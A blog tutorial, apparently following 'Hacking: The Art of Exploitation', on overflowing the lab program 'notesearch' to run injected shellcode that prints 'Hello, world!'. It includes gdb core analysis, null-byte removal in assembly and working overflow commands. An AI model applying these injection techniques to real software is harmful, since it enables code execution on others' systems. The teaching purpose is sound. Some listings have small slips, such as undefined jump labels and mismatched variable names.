The Road to Shellcode II.

In this post we are going to attempt to insert our helloworld1 instructions into the notesearch program we exploited before.  You may have noticed I said attempt, because if you are following along in HTAE you already know the attempt fails.  Lets work through finding out why.

Injecting the Code

Remember from before we compiled helloworld1 to be raw instructions.  So in theory they will start executing as soon as we inject them in the program and the program hits them.  With that in mind lets see what happens.

$export SHELLC=$(cat hellworld1)
$ ./getenvaddr SHELLC ./notesearch
SHELL is at 0xbffff560
$ ./notesearch $(perl -e 'print "\x60\xf5\xff\xbf"x40')
-------[ end of note data ]-------
Segmentation fault

We got a segmentation fault. So something went wrong.

As Jon Erickson states in the book we can’t throw notesearch into gdb as a regular process because the program is owned by the root user.  So we have to switch to root and follow along with his creativity.  The plan is to run the attempted exploit as root, dump the segmentation fault into memory and take a look at what is going on.

# ./notesearch $(perl -e 'print "\x61\xf5\xff\xbf"x29')
-------[ end of note data ]-------
Segmentation fault (core dumped)
root@32:/home/exploit/Hacking/Assembly# gdb -q -c ./core
[New LWP 1824]
Core was generated by `./notesearch a���a���a���a���a���a���a���a���a���a���a���a���a
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x2c653d74 in ?? ()
(gdb) set disassembly-flavor intel
(gdb) x/5i 0xbffff561
   0xbffff561:  call   0x2c653d74
   0xbffff566:  ins    BYTE PTR es:[edi],dx
   0xbffff567:  outs   dx,DWORD PTR ds:[esi]
   0xbffff568:  and    BYTE PTR [edi+0x6f],dl
   0xbffff56b:  jb     0xbffff5d9
(gdb) i r eip
eip            0x2c653d74       0x2c653d74
(gdb) x/32xb 0xbffff561
0xbffff561:     0xe8    0x0e    0x48    0x65    0x6c    0x6c    0x6f    0x20
0xbffff569:     0x57    0x6f    0x72    0x6c    0x64    0x21    0x0a    0x0d
0xbffff571:     0x59    0xb8    0x04    0xbb    0x01    0xba    0x0f    0xcd
0xbffff579:     0x80    0xb8    0x01    0xbb    0xcd    0x80    0x00    0x58
(gdb) quit
root@32:/home/exploit/Hacking/Assembly# hexdump -C helloworld1
00000000  e8 0e 00 00 00 48 65 6c  6c 6f 20 57 6f 72 6c 64  |.....Hello World|
00000010  21 0a 0d 59 b8 04 00 00  00 bb 01 00 00 00 ba 0f  |!..Y............|
00000020  00 00 00 cd 80 b8 01 00  00 00 bb 00 00 00 00 cd  |................|
00000030  80                                                |.|

What we did here was increase the size of core to unlimited and then dump the fault information into it. We then ran core through gdb to see what was happening. In gdb we can see that our segmentation fault occurred at the call instruction in 0xbffff561.

If we compare the hexdump to the instructions in memory we can see that the null bytes in helloworld1 have been stripped (bold).  This is what actually caused the injection to fail.  We need to strip the null bytes out of our injected code.  So we are going to modify the helloworld1 instructions.

Moving Forward.

Nullbytes will terminate a string read.  In the C programming language it denotes the end of the string.  So our null bytes in helloworld1 signaled the end of the string of instructions being injected before we got anything to happen.  So we are going to write a program to exploit subtraction in binary.  This will exploit the fact that using two’s complement we will turn null bytes into 0xff bytes.  Here is where you can look up how the process works.  Basically we are flipping the bits 0x00 to 0xff.  To do that we are going to make the jump for popping the value off the stack into ecx move backwards, so the jump will be denoted by a negative number.

Here’s the modified code.

BITS 32                         ; Tell nasm 32-bit code

jmp short one                   ; Jump to a call at the end

; ssize_t write(int fd, const void *buf, size_t count);
  pop ecx                       ; Pop the return address (string ptr) into ecx
  mov eax, 4                    ; Write syscall #4
  mov ebx, 1                    ; STDOUT fd
  mov edx, 15                   ; Message length
  int 0x80                      ; Make syscall

; void _exit(int status)
  mov eax, 1                    ; Exit syscall #1
  mov ebx, 0                    ; status
  int 0x80                      ; Make syscall

  call two                      ; call back upwards to remove nullbytes
  db "Hello, World!", 0x0a, 0x0d  ; with newline and carriage return bytes.

We jump the program to the end of the code, then we jump back up to two. That makes our jump a negative value, which removes the null bytes from the front of our code. We can see that by using the ndisasm command again to make our machine instructions assembly.

$ ndisasm -b32 helloworld2
00000000  EB1E              jmp short 0x20
00000002  59                pop ecx
00000003  B804000000        mov eax,0x4
00000008  BB01000000        mov ebx,0x1
0000000D  BA0F000000        mov edx,0xf
00000012  CD80              int 0x80
00000014  B801000000        mov eax,0x1
00000019  BB00000000        mov ebx,0x0
0000001E  CD80              int 0x80
00000020  E8DDFFFFFF        call dword 0x2
00000025  48                dec eax
00000026  656C              gs insb
00000028  6C                insb
00000029  6F                outsd
0000002A  2C20              sub al,0x20
0000002C  57                push edi
0000002D  6F                outsd
0000002E  726C              jc 0x9c
00000030  64210A            and [fs:edx],ecx
00000033  0D                db 0x0d

We got rid of the initial null bytes but we now have to get rid of the other null bytes in our code (bold).  How do we do that?  We exploit the fact that we can use registers that are smaller in width to access portions of the full 32-bit registers.  We will also use the xor instruction to take care of the bytes.

Final Form

Here is the modified helloworld2 program to take care of all of the null bytes.

BITS 32             ; Tell nasm 32-bit code

jmp short one       ; Jump down to call at the end.

  pop ecx           ; Pop the return address into ecx
  xor eax, eax      ; Zero out the eax register
  mov al, 4         ; Write syscall 4 to the low byte of eax
  xor ebx, ebx      ; Zero out the ebx register
  inc ebx           ; Increment to 1 for STDOUT
  xor edx, edx      ; Zero out the edx register
  mov dl, 15        ; Length of string
  int 0x80          ; Execute syscall

  mov al, 1         ; Exit syscall 1, top 3 bytes still 0
  dec ebx           ; Decrement ebx to get to 0
  int 0x80          ; Execute syscall

  call two          ; Call back up to avoid null bytes
  db "Hello, world!", 0x0a, 0x0d    ; with newline and carriage return.

Now lets take a look at the resulting code from ndisasm.

$ ndisasm -b32 helloworld3
00000000  EB13              jmp short 0x15
00000002  59                pop ecx
00000003  31C0              xor eax,eax
00000005  B004              mov al,0x4
00000007  31DB              xor ebx,ebx
00000009  43                inc ebx
0000000A  31D2              xor edx,edx
0000000C  B20F              mov dl,0xf
0000000E  CD80              int 0x80
00000010  B001              mov al,0x1
00000012  4B                dec ebx
00000013  CD80              int 0x80
00000015  E8E8FFFFFF        call dword 0x2
0000001A  48                dec eax
0000001B  656C              gs insb
0000001D  6C                insb
0000001E  6F                outsd
0000001F  2C20              sub al,0x20
00000021  776F              ja 0x92
00000023  726C              jc 0x91
00000025  64210A            and [fs:edx],ecx
00000028  0D                db 0x0d

Now that we have code without null bytes lets take a look at what happens when we inject it into our notesearch program.

$ export SHELL=$(cat helloworld3)
$ ./getenvaddr SHELLC ./notesearch
SHELL will be at 0xbffff555
exploit@32:~/Hacking/Assembly$ ./notesearch $(perl -e 'print "\x55\xf5\xff\xbf"x29')
-------[ end of note data ]-------
Hello, world!

It works!


We have written and successfully injected our first piece of shellcode into a running program.  There are a few things going on here that need some more clarification.  We will do some of that next time.


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s